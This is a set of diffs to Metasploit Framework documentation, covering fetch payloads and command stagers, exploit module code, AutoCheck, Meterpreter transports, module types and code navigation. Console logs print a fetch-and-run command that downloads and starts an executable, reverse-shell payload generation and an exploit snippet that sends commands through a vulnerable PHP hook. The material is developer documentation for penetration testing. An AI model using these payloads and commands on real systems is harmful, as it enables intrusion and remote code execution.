`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
|
||||
the command to execute on the remote target.
|
||||
|
||||
### Example paired with CmdStager
|
||||
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
|
||||
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
|
||||
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
|
||||
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
|
||||
|
||||
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
|
||||
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
|
||||
``` ruby
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux Command',
|
||||
{
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Type' => :nix_cmd
|
||||
}
|
||||
]
|
||||
]
|
||||
```
|
||||
|
||||
For the `execute_command` method, nothing changes:
|
||||
|
||||
``` ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
|
||||
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
|
||||
needs to change.
|
||||
|
||||
``` ruby
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
|
||||
like Fetch Payloads, you can simply add the `linux` value to the platform array:
|
||||
|
||||
``` ruby
|
||||
'Nix Command',
|
||||
{
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
}
|
||||
```
|
||||
|
||||
## Supported Commands
|
||||
### Windows And Linux Both
|
||||
#### `CURL`
|
||||
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
|
||||
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
|
||||
targets. All options and server protocol types are supported by the cURL command.
|
||||
|
||||
#### `TFTP`
|
||||
The TFTP binary is useful only in edge cases because of a long list of limitations:
|
||||
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
|
||||
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
|
||||
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
|
||||
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
|
||||
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
|
||||
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
|
||||
the connection with a tool like iptables to a high port.
|
||||
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
|
||||
on UDP port 69 to UDP port 3069:
|
||||
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
|
||||
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
|
||||
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
|
||||
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
|
||||
start a tftp fetch handler, a new service will start:
|
||||
```msf
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
|
||||
LPORT => 4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
|
||||
[*] Payload Handler Started as Job 4
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
|
||||
FETCH_URIPATH => test4
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
|
||||
LPORT => 8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
|
||||
[*] Payload Handler Started as Job 5
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
|
||||
```
|
||||
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
|
||||
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
|
||||
non-deterministic.
|
||||
|
||||
|
||||
### Windows Only
|
||||
#### `Certutil`
|
||||
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
|
||||
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
|
||||
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
|
||||
protocols.
|
||||
|
||||
### Linux Only
|
||||
#### `FTP`
|
||||
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
|
||||
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
|
||||
may not be appropriate for older systems.
|
||||
|
||||
#### `TNFTP`
|
||||
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
|
||||
present on a system, so the command will be `tnftp` rather than `ftp`.
|
||||
|
||||
#### WGET
|
||||
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
|
||||
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
|
||||
@@ -127,4 +127,28 @@ def check
|
||||
end
|
||||
```
|
||||
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
|
||||
|
||||
## AutoCheck Mixin
|
||||
|
||||
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
|
||||
|
||||
```ruby
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
```
|
||||
|
||||
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
|
||||
|
||||
| Checkcode | Module executed? |
|
||||
| --------- | ----------- |
|
||||
| **Exploit::CheckCode::Vulnerable** | yes |
|
||||
| **Exploit::CheckCode::Appears** | yes |
|
||||
| **Exploit::CheckCode::Detected** | yes |
|
||||
| **Exploit::CheckCode::Safe** | no |
|
||||
| **Exploit::CheckCode::Unsupported** | no |
|
||||
| **Exploit::CheckCode::Unknown** | no |
|
||||
|
||||
This mixin brings two new options that let the operator control its behavior:
|
||||
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
|
||||
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
|
||||
|
||||
@@ -198,7 +198,7 @@ Filling in the blanks (provided by the original PR's information from GitHub) ge
|
||||
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
|
||||
````
|
||||
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
|
||||
# Collaboration between contributors
|
||||
|
||||
@@ -206,7 +206,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
|
||||
|
||||
# Landing to upstream
|
||||
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
|
||||
|
||||
````
|
||||
$ git fetch upstream
|
||||
@@ -291,4 +291,4 @@ If that works, great, you know you don't have any merge conflicts right now.
|
||||
|
||||
# Questions and Corrections
|
||||
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
|
||||
@@ -20,7 +20,7 @@ Tools like Veil, pwnlib, etc. have for a long time used native compilers and too
|
||||
|
||||
### Native first-class UUID-aware, async stager payload
|
||||
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
|
||||
|
||||
## Module Interface
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
Metasploit has inbuilt tooling for measuring the performance of commands and generating CPU/memory reports after msfconsole or msfvenom is closed.
|
||||
|
||||
### Measuring CPU/memory
|
||||
|
||||
You can measure CPU/memory usage when starting msfconsole/msfvenom with environment variables:
|
||||
|
||||
```
|
||||
METASPLOIT_CPU_PROFILE=true ./msfconsole -x 'exit'
|
||||
METASPLOIT_MEMORY_PROFILE=true ./msfconsole -x 'exit'
|
||||
```
|
||||
|
||||
Granular CPU/memory performance can be recorded using Ruby blocks:
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_cpu do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_memory do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
In both scenarios, reports will be generated and written to disk that can be opened in a file editor/browser.
|
||||
|
||||
### Measuring command performance
|
||||
|
||||
The `time` command in msfconsole can be used to record the performance of a command:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time reload
|
||||
[*] Reloading module...
|
||||
[+] Command "reload" completed in 0.20876399998087436 seconds
|
||||
```
|
||||
|
||||
It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
|
||||
... etc ...
|
||||
Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
|
||||
[+] Command "search smb" completed in 0.4150249999947846 seconds
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
```
|
||||
time
|
||||
time -h
|
||||
time --help
|
||||
time search smb
|
||||
time --memory search smb
|
||||
time --cpu search smb
|
||||
```
|
||||
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
|
||||
VERBOSE false no Enable detailed status messages
|
||||
WORKSPACE no Specify the workspace for this module
|
||||
```
|
||||
|
||||
### HTTP Multiple-Headers
|
||||
Additional headers can be set via the `HTTPRawHeaders` option.
|
||||
A file containing a ERB template will be used to append to the headers section of the HTTP request.
|
||||
An example of an ERB template file is shown below.
|
||||
```
|
||||
Header-Name-Here: <%= 'content of header goes here' %>
|
||||
```
|
||||
|
||||
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
|
||||
[*] exec: cat additional_headers.txt
|
||||
|
||||
X-Cookie-Header: <%= 'example-cookie' %>
|
||||
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
|
||||
HTTPRAWHEADERS => additional_headers.txt
|
||||
msf6 auxiliary(scanner/http/scraper) > exploit
|
||||
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
GET / HTTP/1.0
|
||||
Host: 172.16.0.63:8000
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
|
||||
X-Cookie-Header: example-cookie
|
||||
```
|
||||
|
||||
@@ -147,7 +147,7 @@ Open a WinRM session:
|
||||
|
||||
```msf
|
||||
msf6 > use auxiliary/scanner/winrm/winrm_login
|
||||
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd win::rmauth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
|
||||
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
|
||||
|
||||
[+] 192.168.123.13:88 - Received a valid TGT-Response
|
||||
[*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940!
|
||||
The Loginpalooza contest is over! Congrats and thanks to [@TomSellers](https://github.com/TomSellers), [@ChrisTruncer](https://github.com/ChrisTruncer), and [@0a2940](https://github.com/0a2940)!
|
||||
|
||||
The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely.
|
||||
|
||||
@@ -115,4 +115,4 @@ If you'd like to learn how to convert your favorite existing module, or write a
|
||||
- [ ]
|
||||
[post/windows/gather/enum_domains.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domains.rb) - Creates realms
|
||||
- [ ]
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
|
||||
@@ -83,7 +83,7 @@ php shell_http.php
|
||||
|
||||
```
|
||||
use windows/x64/meterpreter_reverse_tcp
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/test/foo.txt'
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
|
||||
|
||||
to_handler
|
||||
```
|
||||
|
||||
@@ -12,7 +12,7 @@ The Meterpreter that we have known and loved for years has always had the abilit
|
||||
|
||||
Recent modifications to Meterpreter have changed this. Meterpreter has a new [[configuration system|Meterpreter-Configuration]] that supports multiple transports and it now supports the addition of new transports while the session is still running. With the extra transports configured, Meterpreter allows the user to cycle through those transports without shutting down the session.
|
||||
|
||||
Not only that, but Meterpreter will cycle through these transports automatically when communication fails. For more information on the session resiliency features, please view the [Meterpreter Reliable Network Communication][].
|
||||
Not only that, but Meterpreter will cycle through these transports automatically when communication fails. For more information on the session resiliency features, please view the [[Meterpreter Reliable Network Communication|[[reliable network communication documentation|./Meterpreter-Reliable-Network-Communication.md]].
|
||||
|
||||
This document describes how multiple transports are added to an existing Meterpreter session.
|
||||
|
||||
@@ -78,7 +78,7 @@ The first part of the output is the session expiry time. To learn more about exp
|
||||
|
||||
The above output shows that we have one transport enabled that is using `TCP`. We can infer that the transport was a `reverse_tcp` (rather than `bind_tcp`) due to the fact that there is a host IP address in the transport URL. If it was a `bind_tcp`, this would be blank.
|
||||
|
||||
`Comms T/O` refers to the communications timeout value. `Retry Total` is the total time to attempt reconnects on this transport, and `Retry Wait` indicates how often a retry of the current transport should happen. Each of these is documented in depth in the [Timeout documentation][].
|
||||
`Comms T/O` refers to the communications timeout value. `Retry Total` is the total time to attempt reconnects on this transport, and `Retry Wait` indicates how often a retry of the current transport should happen. Each of these is documented in depth in the [[Timeout documentation|./meterpreter-timeout-control.md]].
|
||||
|
||||
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
|
||||
|
||||
@@ -362,6 +362,3 @@ The following Meterpreter implementations currently support the transport comman
|
||||
* Android
|
||||
* Java
|
||||
* Python
|
||||
|
||||
[Timeout documentation]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-timeout-control.html
|
||||
[Reliable Network documentation]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-reliable-network-communication.html
|
||||
@@ -0,0 +1,66 @@
|
||||
## Metasploit modules
|
||||
|
||||
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
|
||||
|
||||
{{ site.metasploit_nested_module_counts | module_tree: "All Modules", true }}
|
||||
|
||||
## Module types
|
||||
|
||||
### Auxiliary modules ({{ site.metasploit_module_counts["auxiliary"] }})
|
||||
|
||||
Auxiliary modules do not exploit a target, but can perform useful tasks such as:
|
||||
|
||||
- Administration - Modify, operate, or manipulate something on target machine
|
||||
- Analyzing - Tools that perform analysis, mostly password cracking
|
||||
- Gathering - Gather, collect, or enumerate data from a single target
|
||||
- Denial of Service - Crash or slow a target machine or service
|
||||
- Scanning - Scan targets for known vulnerabilities
|
||||
- Server Support - Run Servers for common protocols such as SMB, FTP, etc
|
||||
|
||||
### Encoder modules ({{ site.metasploit_module_counts["encoder"] }})
|
||||
|
||||
Encoders take the raw bytes of a payload and run some sort of encoding algorithm, like bitwise XOR. These modules are useful for encoding
|
||||
bad characters such as null bytes.
|
||||
|
||||
### Evasion modules ({{ site.metasploit_module_counts["evasion"] }})
|
||||
|
||||
Evasion modules give Framework users the ability to generate evasive payloads that aim to evade AntiVirus, such as Windows Defender,
|
||||
without having to install external tools.
|
||||
|
||||
### Exploit modules ({{ site.metasploit_module_counts["exploit"] }})
|
||||
|
||||
Exploit modules are used to leverage vulnerabilities in a manner that allows the framework to execute arbitrary code.
|
||||
The arbitrary code that is executed is referred to as the payload.
|
||||
|
||||
### Nop modules ({{ site.metasploit_module_counts["nop"] }})
|
||||
|
||||
Nop modules, short for 'No Operation', generate a sequence of 'No Operation' instructions that perform no side-effects.
|
||||
NOPs are often used in conjunction with stack buffer overflows.
|
||||
|
||||
### Payloads modules ({{ site.metasploit_module_counts["payload"] }})
|
||||
|
||||
In the context of Metasploit exploit modules, payload modules encapsulate the arbitrary code (shellcode) that is executed
|
||||
as the result of an exploit succeeding. This normally involves the creation of a Metasploit session, but may instead
|
||||
execute code such as adding user accounts, or executing a simple pingback command that verifies that code execution was successful against a vulnerable target.
|
||||
|
||||
Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
|
||||
|
||||
```msf
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > back
|
||||
msf6 > use payload/linux/x86/shell_reverse_tcp
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
|
||||
lhost => 127.0.0.1
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
|
||||
lport => 4444
|
||||
|
||||
# Generate a payload for use within C
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
|
||||
|
||||
# Generate an ELF file for execution on Linux environments
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
|
||||
```
|
||||
|
||||
### Post modules ({{ site.metasploit_module_counts["post"] }})
|
||||
|
||||
These modules are useful after a machine has been compromised and a Metasploit session has been opened. They perform useful
|
||||
tasks such as gathering, collecting, or enumerating data from a session.
|
||||
+121
-10
@@ -1,9 +1,9 @@
|
||||
# Overview
|
||||
One of the most important things to learn when first working with Metasploit is how to navigate Metasploit's codebase. However, its often not immediately clear how this should be done. This page aims to explain some of the different approaches that one can take when navigating Metasploit's codebase and provides a primer for learning how Metasploit's codebase is structured.
|
||||
|
||||
A quick reminder before we get started, but one can always access the Metasploit Slack at <https://metasploit.slack.com/>. Normally this page should allow you to sign up, however if for any reason you cannot, feel free to shoot an email to msfdev *at* rapid7 *dot* com and we will be happy to send you an invite link.
|
||||
|
||||
Metasploit Code Structure
|
||||
------------------------
|
||||
# Metasploit Code Structure
|
||||
A great outline of Metasploit's code structure can be found at <https://www.offensive-security.com/metasploit-unleashed/metasploit-architecture/>, which should be referred to for an overview of Metasploit's code structure. To repeat what is said there there are the following main subdirectories:
|
||||
|
||||
* **data** - Our general data storage area. Used to store wordlists for use by modules, binaries that are used by exploits, images, and more.
|
||||
@@ -23,25 +23,136 @@ A great outline of Metasploit's code structure can be found at <https://www.offe
|
||||
* **scripts** - Stores various scripts used within Metasploit, such as Meterpreter, and scripts for the console interface of Metasploit Framework.
|
||||
* **spec** - Contains various RSpec checks that are used to ensure libraries and core functionality within the framework are working as expected. If you are writing a new library or adjusting one, you may need to update the corresponding RSpec file within this directory to ensure the specification checks are updated to reflect the new behavior.
|
||||
* **test** - Contains tests for various parts of Metasploit code to ensure they are operating as expected.
|
||||
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.
|
||||
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.~~
|
||||
|
||||
# Code Navigation Tools
|
||||
|
||||
GitHub Code Navigation
|
||||
------------------------
|
||||
## GitHub Code Navigation
|
||||
You can search through the code of Metasploit using GitHub with searches such as <https://github.com/rapid7/metasploit-framework/search?l=Ruby&q=%22payload.arch%22&type=code>. Note that double quotes are required to match specifically on a certain term; in the previous example this term was `payload.arch`. You can also set the `type=code` parameter to specifically match only on code results, however this can be set to `commits` or `issues` if you want to search commits or issues instead. Finally notice that when searching code, its important to also specify the language of the files you want to match. In the case above I made it so that my results would only match on files deemed by GitHub to contain Ruby code, however you can also specify other languages such as Batch, or C if you want those languages instead. You can even remove the language restriction if you find your search results are too narrow.
|
||||
|
||||
Another incredibly useful feature of GitHub is the ability to search across all repositories that an organization owns. This is especially useful in Metasploit as certain components, such as Rex code and payload code, may be contained in repositories other than `metasploit-framework`. To search across the public repositories that Rapid7 owns, use a search such as <https://github.com/search?q=org%3Arapid7+%22payload.arch%22&type=code>. Note the presence of the `org:rapid7` tag within the previous URL: this tells GitHub to look through all repositories that Rapid7 owns for the term `payload.arch` within any code files.
|
||||
|
||||
Experiment with these results and play around with GitHub searches more. Over time you will learn where it is useful and where it has its limitations and will be able to determine when it might be better to use an IDE to help understand a piece of code more.
|
||||
|
||||
IDE Code Navigation
|
||||
------------------------
|
||||
## SolarGraph Code Navigation
|
||||
A better way to navigate code, particularly across repos, and also find out where things are defined using an easy to use interface, is SourceGraph from
|
||||
<https://sourcegraph.com>. The interface is not hard to use and you can find several tutorials over at <https://docs.sourcegraph.com/tutorials> on how to use it.
|
||||
|
||||
The main benefit of SourceGraph over GitHub is the ability to search all known repositories at once and then easily jump between definitions using either the
|
||||
online search at <https://sourcegraph.com/search>, or the GitHub integrated browser plugin from <https://docs.sourcegraph.com/integration/browser_extension> to allow
|
||||
easy navigation of Metasploit and Rapid7 code from your GitHub PR reviews.
|
||||
|
||||
It is also recommended to review the tutorials and better understand some of the advanced search capabilities of SourceGraph as they do provide some useful search
|
||||
functionality that is not available or may be harder to perform with GitHub.
|
||||
|
||||
# IDE Code Navigation
|
||||
|
||||
## RubyMine Code Navigation
|
||||
One of the best ways to navigate the codebase within Metasploit is to use RubyMine, available from <https://www.jetbrains.com/ruby/>. Whilst it is a paid tool, it offers a variety of neat referencing finding features such as the ability to right click on a method name and select `Find Usages`, or to right click the method name and select `Go To -> Declaration or Usages` to find all the locations where that method might of been defined within the codebase, which can make tracing complex definitions that wind between library and module code much easier. RubyMine also offers autocompletion and integrates well with many tools such as Git to allow you to quickly switch branches and RuboCop to help provide suggestions on where your code style could be improved.
|
||||
|
||||
For a cheaper option one can also use VS Code. Note however that VS Code does not have the best autotab completion and will not allow you to trace references, however if your willing to put up with this, it is a much faster and more lightweight product than RubyMine, which makes it great for those times when you just need to edit a piece of code without loading a bunch of related files that you don't need to reference or edit. It also has great regex search features that work much faster than RubyMine, allowing you to search for items within the codebase a lot quicker than you can with RubyMine, which will often seem to stutter at times due to its larger overhead.
|
||||
|
||||
Ultimately though the tool that you pick should be up to you. Some may prefer to work with vim/nano/emacs or some other command line editor over a GUI interface. Use whatever you can afford and feels comfortable to you!
|
||||
|
||||
Pry Debugging
|
||||
------------------------
|
||||
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at a specific place within your code and which allows you to view the state of the program at that time, make adjustments as needed, and then either step through the program or continue to let it run. A full tutorial on Pry will not be provided here, instead readers are encouraged to read up on the various guides on Pry available online, such as <https://learn.co/lessons/debugging-with-pry>
|
||||
## SolarGraph Code Navigation - VSCode
|
||||
We'd be remiss to not mention SolarGraph as a potential plugin that one can use to navigate code within VSCode. This tool
|
||||
provides a lot of the autocomplete and IntelliSense functionality you might get from dedicated IDEs such as RubyMine, within
|
||||
VSCode itself. The tool can be installed by running `gem install solargraph-rails` for the Rails integrations, which will
|
||||
also in turn install `solargraph` itself. If you just want SolarGraph without the Rails integrations, run `gem install solargraph`.
|
||||
|
||||
The configuration file for SolarGraph itself can be found at `.solargraph.yml` within the root directory of Metasploit Framework.
|
||||
For more information on how this works and how to tweak it, please refer to <https://solargraph.org/guides/configuration>.
|
||||
|
||||
Once the Gem files have been installed, the next step is to install the VSCode plugin. You can grab it from
|
||||
<https://marketplace.visualstudio.com/items?itemName=castwide.solargraph>. Once this is done, run the following commands
|
||||
to ensure that SolarGraph is using the most up to date information about your code:
|
||||
|
||||
```
|
||||
bundle install # Update all the gems
|
||||
yard gems # Create documentation files for all the gems. SolarGraph relies on YARD for a lot of info.
|
||||
yard doc -c # Create YARD docs for all files and use the cache so we don't repeat work (-c option).
|
||||
solargraph bundle # Update Solargraph documentation for bundled gems
|
||||
```
|
||||
|
||||
Then close down VSCode and restart it again, opening up the `metasploit-framework` directory again as a project if needs be.
|
||||
This should result in the SolarGraph server starting and then taking a few minutes to index your files. Note that this
|
||||
process may occur every time you open up the `metasploit-framework` project. This is normal and to be expected.
|
||||
|
||||
If you'd like to save yourself some time, you can have YARD automatically generate new documentation for installed Gems
|
||||
by running `yard config --gem-install-yri` which will configure YARD to automatically generate documentation whenever
|
||||
new Gems are installed.
|
||||
|
||||
# Debugging Metasploit
|
||||
|
||||
## Pry Debugging
|
||||
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn
|
||||
what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at
|
